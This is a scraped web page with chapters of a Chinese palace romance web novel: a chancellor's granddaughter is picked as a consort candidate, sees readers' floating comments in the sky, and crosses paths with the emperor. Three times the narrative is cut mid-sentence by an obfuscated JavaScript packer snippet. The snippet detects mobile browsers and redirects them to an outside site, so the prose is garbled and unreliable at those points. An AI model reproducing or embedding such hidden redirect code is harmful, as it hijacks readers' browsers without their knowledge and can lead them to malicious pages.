将八字交由护国寺去批,但合的却不是皇帝的八字,而是大周的。 阻碍国运者,自是不能进宫,而且一般这种情况出现后也就只有青灯古佛了此残生。所以,这极大的杜绝了想要改八字避开入宫的可能。 第二便是量体裁衣。 与前朝不同,大周秀女需统一着装,因为留下的人位分是当场赐下的,为了防止有人在选秀中穿的花里胡哨,迷惑君王,德不配位,所以,先祖特地想了这个办法。 衣裳样子中规中矩,不丑,但也不出挑。 沈岁安僵硬的看着一大早闯进她家的礼部的人: “你们要干什么?” 为首的宫女规规矩矩的行了个礼:“回沈小姐,陛下亲自点了你当秀女,奴现在要为您裁衣裳。” 最后,还不忘买个好:“这殊荣,在京中小姐可是独一份呢。” 沈岁安:这殊荣给你你要不要。 可她再缺心眼,也不敢在礼部的人面前甩脾气,只好耐着性子道谢。 4. 初遇 礼部的人走后,沈岁安像是泄了气的皮球般瘫坐在床上。 春花看着自家主子生无可恋的样子,上前抱了抱沈岁安,想了想,开口安慰道:“小姐你先别灰心,这不是圣旨还没下吗?还有机会的。” 沈岁安扯出一个比哭还难看的笑,谁不知道礼部批八字就是走个形式,圣旨七日之内必能送到沈府。 “但愿吧。” …… 就这样,沈岁安在床上咸鱼躺了三天,身上总是懒洋洋的,提不起精神,每天就像是睡不醒一样,甚至就连送来的饭也没有吃多少。 对于沈岁安这样的状态,沈家上上下下都表示很担心。 一日,春花兴冲冲地将沈岁安拉起:“小姐,今天外面天气很好,我们去外面放风筝吧,您之前不是一直想放吗?” 沈岁安想都没想就摇头拒绝:“没有好看的,不想去。” “那去踢蹴鞠?成国公府前些日子下了帖子,今日要举行蹴鞠比赛,凡京中未婚男女皆可参加,自由组队。” 说罢,春花趴下来,用亮晶晶的眼神看着沈岁安:“小姐平常不是最爱看这种热闹吗?” 沈岁安刚想拒绝,但看见春花期待的眼神又迟疑了一下,那眼神中写满了:带我去,带我去。 她的眼神软了下来,突然想起其实春花也是个闲不住的,但身为她的婢女,自己天天在家待多长时间,她就得守多长时间。更别提,春花以后肯定是要跟她一起进宫的,说不准和她一样,往后一辈子待在那皇宫中,无诏不得出。 算了,还是先享受一下在宫外的日子吧。 “看在你这么诚心的份上,本姑娘就带你出去一趟。” 随后又小声补了一句:“是陪你,不是我要出去的。” 春花笑笑:“嗯,对。是小姐陪奴婢,小姐最好了,满京城再找不出一个似小姐这样心善的姑娘。” “那是自然。” 沈岁安松口后,春花生怕她反悔,连忙去收拾东西。 今天的天空依旧很安静。 沈岁安想。 她答应春花出去其实还有一个原因,她已经好几天没有见到天上飘的字了,应该跟她天天闷在房间里有关。 她觉得,那些字应该是有什么触发规律的,但她现在还没找到。 院落外,沈父沈母以及沈云泽焦急的等在外面,生怕沈岁安又拒绝掉。虽然她平常也懒,但也没有这样一直待在房里的状况。 沈夫人还是很希望沈岁安能多去参加一些户外活动,多锻炼身体,和同龄的闺秀们在一起玩玩,说不定心情能好一些。 因着沈府和成国公府关系一直很好,加上沈夫人和成国公夫人是闺中密友,沈夫人便托她办一场蹴鞠赛。 沈岁安也算是国公夫人看着长大的,听了沈岁安现下的状态后,也是心疼不已,当即便同意了。 国公府别的没有,就是后院大的很,乃是前朝某个王爷的居所,后来被先帝爷赏给了成国公。 只要沈岁安今日踏出这个院子,蹴鞠场上就一定能拿第一,保证把人哄得高高兴兴。 “哎哎哎,出来了。” 就在他们等的花都快谢了的时候,春花终于从院中走了出来。 沈夫人连忙拉着春花道:“怎么样,岁岁同意了吗?” 春花点头:“小姐同意了的,奴这就去收拾东西。” “好好好。” 沈父听到沈岁安终于肯走出这院门,心中松了口气。 沈云泽也很是高兴,可下一瞬就收到了自家爹娘的耳提面命: “你和妹妹一起去,要照顾好妹妹知道吗?不要在她面前提她的伤心事,她不说话就找话题,别让她想东想西的……” 沈云泽点头,表示记下了。 “还有,在路上看着点,你妹妹喜欢喝冷茶,但她最近不能喝凉的,那茶要不冷不热,坐垫也要不软不硬,你这个做哥哥的上点心。” “好了,出去吧。” …… 沈岁安今天头戴了一条青色抹额,穿了一身浅粉色窄袖蹴鞠装,看起来充满了朝气与活力。 但也就强撑了几步路,一上马车就跟没骨头一样靠在了垫子上。 马车里很是宽敞且布置精巧,四个角各挂了一只凝神静气的香囊,中间的茶几上放着已经沏好的茶和点心。 因着沈母的嘱咐,沈云泽上来后还特意摸了摸后面靠垫,确认无误。 沈岁安上来后,沈云泽捏了捏她的脸,随后道: “瘦了,都掐不起来。” 沈岁安一把拍掉哥哥的手,没好气道:“那你看人的方式还真是独特。” “话说,你为什么每次都喜欢蹭我的马车,自己没有吗?” 虽说男女七岁不同席,但大周礼教不似前朝般严格,相对来说还是开放自由的,对于沈云泽会在自己马车上的事,沈岁安早已习惯。 可她还是对这件事很好奇,这么想着,便问了出来。 这可让沈云泽有苦难说。 想当年,其实他并没有觉得自己的马车有什么不好,相比于京中其他儿郎,他的马车很是宽敞舒适。 直到有一天他上了一次沈岁安的马车,才知道什么叫人外有人,天外有天。 跟沈岁安马车上的精致相比,瞬间他的马车就成了毛坯房。 他甚至还去阿娘那边央求要一个一模一样的,当时阿娘怎么说的来着: “你一个大男人,学什么小姑娘家熏香。我告诉你,你可别跟着京中纨绔子弟学他们那一套,让我发现了一定打断你的腿。” 从此,沈云泽就开启了蹭车的不归路。 他轻咳一声:“这不是为了省省人力吗?又不是坐不下,何必兴师动众。” 沈岁安嗤笑一声:“那你还挺会过日子。” 二人说着,马车就停在了国公府门前。 出来迎接的是成国公的嫡女叶灵秋,叶灵秋一见到沈岁安就飞快的抱了上去:“岁岁。” “灵灵!” 她一把将沈岁安抱了下来,甚至还转了个圈。 就在这时,平静了很久的天空又浮现出字迹: 【哇塞,这是哪个女配,简直是女友力max好吗?】 【前面的你别说,她俩站一起还挺般配的。】 …… 随后是沈岁安看不懂的东西,观其内容,像是一连串的糖果排列在一起。 没什么有用的信息,沈岁安选择将他们屏蔽掉。 看到叶灵秋,沈岁安当机立断将沈云泽抛弃: “哥哥我跟灵秋走了,你自己去前院玩吧。” 二人说着体己话,期间叶灵秋向沈岁安投来了好几眼担忧的目光。 这目光实在灼热,让沈岁安想忽视都没办法忽视:“你想说什么可以说,不用遮遮掩掩。” 被看出心思的叶灵秋不好意思的笑笑,来时阿娘千叮咛万嘱咐不要提起沈岁安的伤心事。 可这分明不是不提就能解决问题的事。 她斟酌了一番用词,但最终还是直白道:“岁岁,你当真要进宫?” 沈岁安生无可恋的点点头。 叶灵秋也担忧,从小跟沈岁安一起长大,她有几斤几两自己清楚的很,根本不是宫里那些女人的对手。 “那你打算怎么办?” 沈岁安想了想,这段时间其实她也一直在想这个问题,其实她也不知道怎么办,只能兵来将挡,水来土掩。 “走一步看一步吧。” 二人来到一处僻静的地方,显然是叶灵秋故意把她带到这边的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178189|180822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她并不担心叶灵秋会害她,只当是有什么话想要跟她说。 叶灵秋也做了很长时间的心里建设,她深吸一口气,快速道: “要不我带你逃婚吧。” 话落,吓的沈岁安赶紧去捂住叶灵秋的嘴,她紧张的张望左右,发现没人后松了口气。 沈岁安虽然懒,也不喜欢读书,却不是不明事理之人,她压低了声音:“你疯了?这是株三族的大罪。” 秀女即便不是真的皇妃,也算皇妃预备役,半只脚踏入了宫门,除非死了,否则绝对逃不了。 叶灵秋专注的看着沈岁安: “我想过了,我不是异想天开。你诈死,我带你出城,山高水远,我们去哪都行,总比看你白送命强。” 沈岁安感动于朋友为她筹谋,但理智将她拉拢回来,她神情低落,道: “你又不可能陪我一辈子,你总要嫁人离开我的。” “倘若我不嫁呢?” 沈岁安蓦然抬头望向叶灵秋,她都快忘了,眼前这个也是个婚事坎坷的。 叶灵秋的身量很高,比一般男儿都高,再加上天生神力,是以婚事上很是艰难。 没有哪家能接受比自己儿子还要高挑的儿媳。 叶灵秋也就这样一年一年的耽搁下来。 此刻,天上的弹幕又开始蠢蠢欲动: 【逃婚?妈妈,故乡的百合花开了。】 【刚刚我还不磕,现在我是真想磕一下了。】 【在一起好吗?】 【等等,她俩在一起了,谁去给男主送功绩啊?】 …… 沈岁安一开始没看懂,后来也逐渐明白过来。 她的脸瞬时间通红,撂下一句: “你让我考虑考虑。” 说罢,就连忙跑出去,好像二人刚刚真的在偷情般,以为这样就能躲避那群人的目光。 叶灵秋微愣住,后又无奈笑笑,谁知道那小丫头片子能想那么多。 匆忙间,沈岁安没有看路,转头撞上了一个高大的男子,身上随身带着的香囊也不小心掉落。 见撞到了人,沈岁安自然也就停了下来,抬眼望去,只见面前的男人一身白衣,俊美非凡,肤色甚至比女人还要白皙一些,更令人难以忽视的是那一双多情的桃花眼,看什么都好像能看到对方心里。 即便如此,沈岁安也只是被惊艳了一瞬,随后对着男子行了一个万福礼: “对不住,刚刚失礼了。” “无碍。” 明明是客套的话,但男人的声音却意外的冷,仔细听的话还带了一丝薄怒,沈岁安还以为他是因被人撞到而不悦,并未多想。 见对方并不准备追究,沈岁安作势就要走,可就在这时,男人叫住了她: “姑娘,你的香囊掉了。” 香囊就在他脚边,但他却丝毫没有要帮忙捡起的意思,沈岁安只好自己动手,同时又不禁好奇这时哪家的公子,如此小肚鸡肠,真是可惜了这样一张俊俏的脸。 男人神色复杂的望着沈岁安离去的背影,分明是夏天,可周身气息却让人感到一股冷意。 没错,沈岁安刚刚撞到的就是当今陛下慕舟,字春杳。 慕春杳今日本是有事情与成国公相谈,又不便在宫中召见,只好微服私访。谁知今日府中有宴,为了掩人耳目,故意选了一条偏僻的道路走。 走近后却听见有人说要带另一个人逃婚,他只以为是京中哪对儿痴情儿女,未曾多想,结果转头就看见沈岁安从那边出来。 他从前是没见过沈岁安,但他见过沈岁安的画像,所以刚刚他才会如此愤怒。 沈岁安应该庆幸,她刚刚没有点头,若是她当真答应了,慕春杳高低当场治她一个不敬之罪,连带着她父兄一起贬。 5. 第 5 章 这场比赛如沈母所愿,最后的赢家是沈岁安这一队,赛后,她还想打听一下刚刚撞到的是哪家公子,可巡视一圈也没见到之前的身影。 本朝男女大防不严,像这种蹴鞠比赛,更是可以男女混战,在场未婚男女皆可参加。 “灵灵,收到邀请的人都在这里了吗?” 宴会是叶灵秋随国公夫人一起办的,送到各府的请帖也由她亲自下,没有人比她更清楚今天都是哪些人来赴宴。 叶灵秋看了一圈道:“基本都在了。” “怎么了?” 既没有,那便不是今天的客人,沈岁安摇摇头,对此事并无执念:“无事。” 很快她便被最后的奖品吸引住了。 赢者的奖品各有不同,女子是一整套珍珠头面,乃是当朝大师的重工之作,华贵无比,男子则是一条紫玉鹤纹腰带。 叶灵秋对这些东西并不感兴趣,就让给了沈岁安,权当是给她添妆。 当然,其实她更希望沈岁安用不到这些。 …… 因着沈岁安今日心情很好,回府后她院子里的人每人都赏了二两银子,可把那些小丫头们高兴坏了,又拉着沈岁安说了些吉祥话。 沈岁安上面只有一个哥哥,没有什么姐妹,有许多少女心事无处诉说。 春花从小一起陪着她长大,二人情同手足,沈岁安没处说的通常都会寻她。 于是到了晚上,沈岁安将春花一把拽到了床上,像每次要说悄悄话一样,曾有无数个夜晚二人都这般畅聊后抵足而眠。 沈岁安将手放在脑后,她今天想明白了一些事,就算叶灵秋很厉害,但她依旧看的出来对面的人在有意无意的让着她们。 在联想到自家阿娘和成国公夫人的关系,这场蹴鞠宴是为谁而办的就不言而喻。 对于他们为自己做的事情很是感动,沈岁安决定改变一下现在的状态。 “春花,你说我如何做才能让爹娘放心?” “小姐只需像往常一般便好。” “我以前什么样?” 春花有些一言难尽的看着沈岁安,不禁疑惑的想:小姐难道是这段时间睡傻了吗?她自己什么样难道她不知道,非要她说出来吗? 春花艰难开口道:“就睡睡觉,捣捣蛋,没事跟大公子绊两句嘴。” 沈岁安哑口,她以前在旁人眼中竟是这幅模样吗? 春花想,其实深论下来,调皮捣蛋还是说轻了。 沈岁安小时候简直是个好奇宝宝。 因为疑惑为何书上的文字可以百年不褪色,为了测试在人身上会不会有同样的效果,曾把墨水偷偷倒在夫人的胭脂水粉里,害的夫人好几天未曾出门。还好夫人只用了一点,最后洗掉了。 还有小姐好奇为何仙人球可以长时间不浇水,便是水多了又能怎样?把外邦进献的特殊品种拿来做比对,一个连着一个月顶着大太阳不曾浇水,一个日日浇灌未曾断过。 最后的结果便是一个枯死了,一个淹死了。 …… 这样的事还有好多,但小姐在老爷夫人面前还是个只是有点懒的乖乖女形象。 盖因,这些事情的最后都是大公子一人担了下来。 沈岁安可能也想到了这些,经她的深思熟虑后,痛彻心扉,决定改掉那些毛病。 就从睡懒觉开始改! “春花,你说我明天起早去给祖父请安怎么样?” 其实春花想说这恐怕会吓到老太爷,但对上沈岁安那暗含希冀的双眸,她也说不出来什么泼凉水的话,只好道: “小姐所想……甚好。” 沈岁安的眼睛瞬间迸发出前所未有的光芒。 于是第二天早上,沈岁安特意起了个大早去给沈文进请安。 今日休沐不用上朝,沈文进好不容易能睡个懒觉,上了年纪的人就应该多休息,就听见外边有人通报说小姐前来请安。 沈文进闻言摸着胡子思索着,今日既不是初一也不是十五,又看了看太阳升起的方向。 嗯……不是从西边升的。 根据沈文进对沈岁安的了解,沈岁安每次这样乖的时候,都是闯祸的时候。 别以为他不知道沈云泽认下的那些事都是谁干的。 但他也不能打消了孙女的积极性,还是穿好衣服去了书房。 书房内,沈岁安熟练的行礼。 祖父好瓷器,所以家里有很多不同地方产出的花瓶、茶具。 每当祖父心情好时就会拿出来擦拭一番,陶冶情操,心情不好时也会拿出来观赏一番,平复心绪。 沈岁安今日很是善解人意的开口道:“祖父,我今天帮你擦擦这些瓶瓶罐罐吧。” 这让沈文进更加疑惑了: “岁岁,又闯什么祸了就直说,你哥哥顶不住的话,爷爷就出面给你摆平。” 沈岁安强扯出一个笑容,简直称的上是皮笑肉不笑。 “我就不能是真心想为祖父做点什么吗?” 如果说这句话让沈文进打消了些许疑虑,那么下一句话简直是杀手锏。 “毕竟,岁岁要进宫了不是吗?” 沈文进最终是败下阵来。 看着这满架子的花瓶,沈岁安发出了最真诚的疑问: “祖父,你有这么多花瓶,可有在心中给它们排排顺序?哪个才是最喜欢的?” 沈文进本要回答,但想到沈岁安平时的毛毛躁躁,也不是个沉稳的性子,更别说“关照”他的花瓶。 但耐不住如此可爱的孙女在面前软磨硬泡,还是随便说了一个:“架子上第二排第一个。” 沈岁安顺着沈文进的话看去,有些一言难尽,因为她发现那是里面……最丑的一个。 她狐疑的望向沈文进:“真的吗?” “自然是真的,祖父还能骗你不成。” 那可不一定,沈岁安正心中腹诽着,就看见天空中再次有了动作。 【丞相最喜欢的花瓶?我知道啊,那可是先帝亲赐的定州红瓷,难得一见,丞相可宝贝的紧】 【你怎么连这都知道?】 【你忘了?书上提过一嘴,丞相刚得的那两天甚至还要抱它睡觉】 …… 抱着睡觉?沈岁安像是猎人嗅到了猎物般盯上那个红瓷。 就是它了! 她三两步跑到架子前,春花负责扶好梯子,沈岁安作势就要去取。 沈文进看着沈岁安精准找到目标,紧张过后又松了口气。 他因喜欢那只花瓶,就把它做成了暗室的机关,固定在上面,沈岁安肯定拔不动。 沈岁安一开始确实没拔动,但她还以为是自己的劲太小,于是便用了双手。 也不知是如何使劲的,那花瓶竟被她给拔了下来,却因惯性使然,花瓶脱了手,“啪——”的一声,摔在了地上。 沈文进笑容一滞。 【悬着的心还是死掉了】 【哈哈哈哈哈哈哈】 【话说,她是怎么这样精准的找到的?】 【这不是废话?那个红瓷一看就价值千金好吧】 他慌忙去捡那些碎片,沈岁安则是趁着祖父还没时间收拾自己时偷偷溜走。 她来到了沈父沈母这边,二人见沈岁安眉眼间似乎有些慌张,沈母皱眉: “岁岁,你又闯祸了?” 这话刚刚祖父也说了一遍,不过那时没有,现在有了。 沈岁安心虚的摸了摸鼻子,声音却没什么底气:“没有。” 沈父打趣道:“岁岁,做人要诚实。” 恰逢月末沈母在算账,她状似不经意般问道: “夫君,你这个月的月钱都交了吗?” 没等沈父开口,沈岁安就抢先道: “这个我知道,爹爹的银钱都藏在他衣服的夹层中。” 沈父:“你……” 沈岁安故作不解的眨眨眼睛:“爹爹刚刚还说做人要诚实。” “其实倒也不必如此诚实……” 话还未说完,就收到了来自沈母的眼刀,沈父立马乖乖认错: “媳妇儿,我错了,饶我这一次。” 沈岁安深知此地不宜久留,行了一礼后便赶快带着春花溜之大吉。 沈家人经过鸡飞蛋打的一天后,决定转移一下矛盾,于是,经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178190|180822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈母同意后,从账房支了百金,让沈岁安拿去外面霍霍,不要再在家里闯祸了! 沈岁安看到百金的那一刻想:怎么还有这等好事,早知道早点这样干了。 就这样,在沈岁安的“不懈努力”下,她终于过上了在京城买东西不用问价格的生活。 今天天香阁出了最新款的胭脂水粉,买! 明天看上玉笄轩的珠宝首饰,买! 这可把沈云泽羡慕坏了。 要知道,沈家虽是相府,不会缺银钱,但对于子女的管教却是严格,为了防止他们染上什么陋习,沈母在保障他们衣食住行的情况下,下令无论是沈岁安还是沈云泽,每个月都只能去账房支二十两。 …… 沈岁安这边的欢乐且不说,宫中这几天却是一片肃穆,人人自危,稍有不慎,就会被当做庆王一党。 苏公公是慕春杳身边最得脸的近侍,他能感觉到,自打那天陛下从成国公府回来之后心情都不是很好。 这两天宫里清了一波又一波人,全是庆王在宫中的势力,有的甚至渗透到了御前司,旁人只以为慕春杳是恼了庆王手伸的太长,但苏公公却觉得未必不是陛下这几日心情不好,那些人还在他面前来回蹦跶,不耐烦跟他们慢慢耗了而已。 上首的男人正在批阅奏折,但一刻钟过去,桌案上的奏折依旧纹丝不动。 慕春杳将奏折反扣在桌案上,重重碾过眉心。 为陛下分忧是他们这些做奴才的职责所在,苏成将壶中的冷茶换掉,道:“陛下今日可是有什么烦心事?” 慕春杳看了苏成一眼,意味不明的笑了一声:“你倒是警觉。” “陛下,您可别折煞老奴了。” 慕春杳也不继续吓苏成,只道:“你说,秀女出逃,按律当怎样?” 苏成听了吓的腿软,立马跪下,笑话,秀女出逃就像民间的逃婚,相当于给皇上戴了顶……绿帽子。 敢问谁家秀女这样大胆? 苏成颤颤巍巍道:“回陛下,秀女出逃当按蔑视君威论处,与欺君同罪,按律当夷三族。” 他试探道:“不知陛下说的是哪家秀女这么大胆,需不需要……” 苏成比了一个抹脖子的手势,毕竟也不是什么光彩的事,可以私下把人先决绝掉,其余人再安一个其他罪名,这样也算全了彼此的体面。 “你在教朕做事?” 这次虽也在笑,但话里却满是威胁和警告。 苏成忘了,这位可是最恨宦官当权的人,容不得别人置喙。 他连忙跪伏求饶。 “仅此一次,退下吧。” 苏成走后,慕春杳思索着,他现在还不能动相府,再说,早在那天之后,他就派人仔细盯着沈府的一举一动,沈岁安这几天不是逛街就是睡觉,什么也没做。 倒是苏成说的杀个人给了他灵感,过几天的万寿节上倒是可以利用一下。 庆王和太后最近不老实,正好借此把他们宫中的势力一锅端了,杀鸡儆猴。 就这样,第二天下朝后,在满朝文武羡慕嫉妒的目光中,沈文进和沈平川被单独留了下来。 都说一朝天子一朝臣,他们以为新帝上位后沈家就要败落下去,没想到还是这般深得帝心,听说沈氏女就要进宫了。 书房中,慕春杳也不卖关子,直言道:“护国寺的批字已经出来了,爱卿的女儿可谓是宜室宜家,放在后宫中也是顶好的。” 沈平川送了口气,只要不是什么影响国运就好。 “陛下谬赞。” 沈文进摸着胡子,思考着陛下这句话的意思。 “过两天万寿节夜宴,也可让沈夫人带上她进宫,就当熟悉一下环境。” 陛下想见沈岁安? 怀着这样的疑问,沈平川在出宫的马车上问道:“咱家岁岁这是要有大造化了?” 明明可以派人传个话或者直接下旨,可偏偏要把他们留下来亲自交代。 沈文进捋了捋胡子,思索道:“不好说,走一步看一步吧。” 毕竟刚刚书房里,陛下的样子可不像是上了心。 倒像是,因为什么事情生了气…… 6. 宫宴惊变 这边的沈岁安听说宫里的宴会可以带上她后可兴奋的睡不着觉。 长这么大她还没进过宫呢,自然好奇红墙之内是什么样子。 由于沈岁安既不是像母亲一样的命妇,又不是有品阶的女官,所以不用穿特制的衣裳。 想到夜宴上会见到皇帝,那很可能是她未来夫君,沈岁安可要把自己打扮的漂漂亮亮的。 时间紧迫,没时间买料子赶制,只能去买成衣。 她来到了京中最大的成衣店——羽衣楼,以衣服轻薄闻名。 小二都是会看人的,见沈岁安穿着不凡,想到这可能会是个大单,就把人领到了楼上。 羽衣楼一楼主要是一些平价的衣服,供平民百姓挑选,二楼以上才是官家小姐爱去的地方。 春花道:“烦请小二把店里最好的衣裳拿出来,让我家小姐满意定有重赏。” 谁还嫌钱少呢,没一会儿,小二就搬来了好几个箱子。 第一件是一件青莲广袖衫,样式普通,但胜在有一股淡淡的莲香,就好像是那莲花活了过来。 “太素。” 沈岁安立马否掉了。 第二件是一个紫金色的繁花齐腰裙,艳丽无双。 沈岁安皱眉,这都什么审美,像是她母亲那个年纪穿的衣服。 “太艳。” 接连被否掉了两个,店家也不恼,接着展示下一件。 第三件是条朱红色蝴蝶纹对襟长裙。 沈岁安接着摇头:“太长。” 接下来是第四件,第五件…… 没一条是沈岁安满意的。 店家也是好脾气,挑剔?挑剔点好啊,挑剔要么是因为事真的多,要么是因为好东西见多了,这些俗物不能入眼。 对于沈岁安,他跟偏向于是后一种人。一般这样的夫人小姐们眼光毒辣,且不缺钱。 “小姐可有什么具体要求,小的好为您量身寻找。” “不要太过艳丽也不能太过素雅,不能太过扎眼但人群中也不能忽视我。” 总而言之就是既要显眼又不能太显眼。 【这女配事怎么那么多?我觉得刚刚那些都挺好看的。】 【你觉得是你觉得,人家对美有点要求都不行吗?】 【打扮的再漂亮有什么用?还不是个炮灰?】 …… 沈岁安虽不知炮灰是个什么意思,但直觉不是什么好词,想再看看,但字迹又消失了。 “掌柜,咱们不是新进了一匹蝉纱吗?” 蝉纱?沈岁安听说过,那料子料如其名,薄如蝉翼,而且穿在身上还有降温的效果,往年只有几段全送到了宫中,是宫中娘娘们的最爱。 今年恰逢新帝登基,后宫空置,所以才匀出了那么两匹出来,可谓是有价无市。 物以稀为贵,消息一放出去,就得了京中贵女的抢夺。 想不到羽衣楼竟然还有。 “这边竟还有蝉纱吗?” 这声音很温柔,沈岁安望去,只见一位全身上下都散发着书卷气息的女子走来,一看就是书香世家的人。 说话间,只见掌柜的已经将衣裳拿来。 蝉纱果然名不虚传,这套成衣在室内呈现月白色,可在夜晚时月光照射下就会变成银白色,有一种波光粼粼的感觉,最妙之处还是上面点缀着几颗东珠,素雅中透露贵气,完美符合沈岁安的要求。 【哇塞,这件是真的好看,前面的还说女配眼光差吗】 【好看又有什么用,还不是个炮灰命】 【我看你是醋了吧】 …… 其实沈岁安一眼就看上了这件,加上这些天下来,她也能看出来这些“文字”比她还挑剔,她们说好看,那应该是真的好看。 “这是先前一位贵人所定,但交了定金后又不要了,因为成本太高故而没有往外面摆。” 钱现在对沈岁安来说不是问题,她道:“无妨,就这件,给我包……” 话还未说完,就被刚刚的女子打断。 “这位妹妹,我也看上了这件,不知可否让让我,李家必有重谢。” 这话说的没问题,可莫名让人觉得不舒服,虽是在请求,但俨然已经将这衣服当做了囊中之物。 沈岁安的关注点却不在这上面。 李家?京城倒是有好多李家,但最出名的还是太后所出的洛阳李氏。 春花看不下去:“这明明是我们家小姐先看上的,凭什么让给你?” 跟在李小姐后面的丫鬟不甘示弱:“你怎么说话的?知道我们家小姐是谁吗,被我们小姐看上,是这衣裳的福气。” 听语气,当是洛阳李氏无疑了,听说李氏今年也要送人进宫,不知道是不是眼前这一位。 但沈岁安管她是谁呢,李氏又如何,家主现任御史中丞,还是在她祖父的管辖范围内,她才不会害怕。 “不好意思,我也喜欢这件,实在不愿拱手让人。” 说罢,看向掌柜的:“掌柜的,您说个数。” “一千两,概不还价。” 跟在李小姐后面的丫鬟一听这数,顿时有些幸灾乐祸,想看沈岁安的笑话。 “某些人,买不起就不要打脸充胖子。” 沈岁安并不理睬,但身上出门也确实没带那么多现银,不过也无妨,去沈家取就好。 “掌柜的,包好送去沈府。” 那位李小姐一听沈府二字时隐晦的打量了沈岁安一眼,京城中姓沈的人不多,但能付得起这个数的,唯有丞相府。 想到这人和自己一样的目的,她不禁有些咬牙切齿,可面上却依旧装的云淡风轻,已经输了衣服,就不能再输气度: “恭喜妹妹了。” 沈岁安点头,“也祝李小姐找到心仪的衣服。” 我心仪的不就在你手上吗? 李彰蓉默默翻了个白眼。 不知想到了什么,她突然亲切的拉上沈岁安的手,挽着她下楼。 这一举动也让沈岁安有些招架不住,但伸手不打笑脸人,沈岁安又没办法赶人走。 于是乎,消息传到御案上时就变成了沈岁安与李彰蓉好似旧识,在羽衣楼相谈甚欢。 慕春杳看着奏折上的内容,神色有些晦暗不清。 沈岁安,很好。 继逃婚后又犯了他另外一个忌讳——和李氏的人走得近。 …… 皇宫中用来招待人的大殿自是金碧辉煌,雕梁画壁,栩栩如生。 沈岁安好奇的打量着,只见巍峨的宫殿只由东南西北四个方向的柱子支撑而起,上面雕刻着的龙盘旋而上,好似随时要冲破这层桎梏,直上九天。 沈母出自兰州温氏,从小见识的多,是以并不怯场,看着女儿东张西望的样子,沈母有点后悔为什么她自己没有带着女儿来回走走。 她温柔的摸了摸沈岁安的头,用只有两个人能听见的声音道:“现下便罢了,待会儿陛下来了可别乱看,小心治你一个大不敬之罪。” 提到慕春杳,沈岁安立马收起了这幅好奇心。 没办法,她对这位新上任的小皇帝所知不多,知道的还全是慕春杳暴戾的一面。 比如说今天抄了谁的家,明天砍了谁的头,自他上位以来,没有一天是安生的。 正想着,便听见礼官传唱:“陛下驾到!贤妃到!” 众人立马跪下行礼:“吾皇万岁万岁万万岁!” 当今后宫中只有贤妃一人,是以她跟在慕春杳之后,自然而然的享受着众臣的朝拜。 “平身。” 丞相是百官之首,沈母有又诰命品级在身,是以带着沈岁安坐在皇室宗亲之下。 慕春杳叫起后,众人神色不约而同的落在了他身边的贤妃身上,沈岁安也好奇的打量了一番。 不能看皇上,那她看他身边的妃子总可以了吧。 面对他们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178191|180822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打量,贤妃也始终保持着得体的微笑。 贤妃出自凌氏,乃是慕春杳的母族,算是他的表妹,生了一双狐狸眼,妖艳妩媚,看起来很有韵味。 沈岁安打量着贤妃时,贤妃也在打量着她,早就听闻,丞相今年会送孙女入宫,如果仅仅只是这样,那还用不到她操心。 可她却听说,沈岁安这次入宫参宴是陛下亲自允的,这就让她不得不防备了。 贤妃的眼睛狡黠的转了转,突然就计上心头,她端起桌案上的酒杯,朝沈岁安的方向敬了过去: “这位便是沈家妹妹了吧,长的可真是水灵,一见就让人欣喜。” 虽然知道贤妃现在可能没安什么好心,但慕春杳的目光还是顺着她的话看去,上次见面没怎么仔细看,这么一看贤妃还挺会形容的。 沈岁安长了一双灵动明亮的杏眼,眉如新月,此刻面带微笑,露出了两个小酒窝很是可爱,此刻穿了一身银白色的衣裙,既不过分突出,又不会泯然众人,像极了那传说中的月下仙子。 余光撇见慕春杳的目光落在了女子身上,贤妃不禁暗恨,这是沈岁安还没进宫,要是进宫了那还得了? 看见沈岁安身上的蝉纱,贤妃莞尔一笑:“妹妹身上的料子倒是新奇。” “娘娘谬赞,不过是普通料子”,没等沈岁安回答,沈母先一步开口道:“娘娘千金之躯,岁岁怎能跟您姐妹相称,真是折煞她了。” 话虽客气,但言下之意便是沈岁安现在可跟您没任何关系,不要再拉火了。 别以为她看不出来,这是个黑心肝的,从第一句话开始就没安好心。 第一句表面在问候,实际上全把众人的视线从她身上转到了岁岁身上;第二句话更是危险,蝉纱是贡品,今年是特殊情况才可买卖,但价格极其昂贵,就算凭着丞相的俸禄,也只是勉强买的起。 她现在一说,明天御史台的弹劾奏章就能放到陛下御案上。 可惜沈岁安这傻孩子,半点都没听出来,还在着傻愣着。 其实沈岁安也没有傻愣着,不过她确实没听出来贤妃的不怀好意,她还是看见那些文字的分析才知道刚刚差点被坑! 初次交战,贤妃讨了个没趣,不过她也不恼,毕竟她试出来了不是? 沈夫人是个厉害的,可沈岁安却是个傻的。 